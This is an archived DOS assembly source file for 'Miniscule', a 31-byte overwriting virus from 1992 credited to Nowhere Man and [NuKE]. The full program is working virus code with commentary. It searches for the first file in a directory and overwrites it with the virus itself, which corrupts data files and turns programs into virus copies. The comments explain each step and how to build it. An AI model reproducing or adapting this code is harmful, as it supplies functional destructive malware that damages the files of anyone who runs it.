home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MINISCUL.ASM < prev    next >
Assembly Source File  |  1992-01-22  |  3KB  |  77 lines

  1. ; Miniscule:  the world's smallest generic virus (only 31 bytes long!)
  2. ; (C) 1992 Nowhere Man and [NuKE] WaReZ
  3. ; Written on January 22, 1991
  4.  
  5. code        segment 'CODE'
  6.         assume cs:code,ds:code,es:code,ss:code
  7.  
  8.         org    0100h
  9.  
  10. main        proc    near
  11.  
  12.  
  13. ; Find the name of the first file and return it in the DTA.  No checking
  14. ; is done for previous infections, and ANY file (except directory "files")
  15. ; will be infected, including data, texts, etc.  So either a file is corrupted
  16. ; (in the case of data or text) or infected (.EXE and .COM files).  Files that
  17. ; have the read-only flag set are immune to Miniscule.
  18.  
  19.         mov    ah,04Eh            ; DOS find first file function
  20.         mov    cl,020h            ; CX holds attribute mask
  21.         mov    dx,offset star_dot_com    ; DX points to the file mask
  22.         int    021h
  23.  
  24.  
  25. ; Open the file that we've found for writing only and put the handle into
  26. ; BX (DOS stupidly returns the file handle in AX, but all other DOS functions
  27. ; require it to be in AX, so we have to move it).
  28.  
  29.         mov    ax,03D01h        ; DOS open file function, w/o
  30.         mov    dx,009Eh        ; DX points to the found file
  31.         int    021h
  32.  
  33.         xchg    bx,ax            ; BX holds the file handle
  34.  
  35.  
  36. ; Write the virus to the file.  The first 31 bytes at offset 0100h (ie: the
  37. ; virus) are written into the beginning of the victim.  No attempt is made
  38. ; to preserve the victim's executability.  This also destroys the file's date
  39. ; and time, making Miniscule's activity painfully obvious.  Also, if the
  40. ; victim is smaller than 31 bytes (rare), then it will grow to exactly 31.
  41.  
  42.         mov    ah,040h            ; DOS write to file function
  43.         dec    cx            ; CX now holds 01Fh (length)
  44.         mov    dx,offset main        ; DX points to start of code
  45.         int    021h
  46.  
  47.  
  48. ; Exit.  I chose to use a RET statement here to save one byte (RET is one byte
  49. ; long, INT 020h is two), so don't try to compile this as an .EXE file; it
  50. ; will crash, as only .COMs RETurn correctly (DOS again).  However INFECTED
  51. ; .EXE programs will run successfully (unless they are larger than 64k, in
  52. ; which case DOS will refuse to run it.
  53.  
  54.         ret                ; RETurn to DOS
  55. main        endp
  56.  
  57.  
  58. ; The only data required in this program, and it's only four bytes long.  This
  59. ; is the file mask that the DOS find first file function will use when
  60. ; searching.  Do not change this to .EXE (or whatever) because this virus
  61. ; is size dependent (if you know what you're doing, go ahead [at you're own
  62. ; risk]).
  63.  
  64. star_dot_com    db    "*.*",0            ; File search mask
  65.  
  66. finish        label    near
  67.  
  68. code        ends
  69.         end    main
  70.  
  71. ; There you have it:  thirty-one bytes of pure terror -- NOT!  As you can
  72. ; pretty well guess, this virus is very lame.  Due to its poor reproduction,
  73. ; it is hardly a threat (hitting one file, if you're lucky), but it works,
  74. ; and it fits the definition of a virus.  There is no way to make this code
  75. ; any smaller (at least under MS-DOS), except if you made it only infect
  76. ; one specific file (and the file would have to have a one- or two-byte name,
  77. ; too), and that would be next to useless.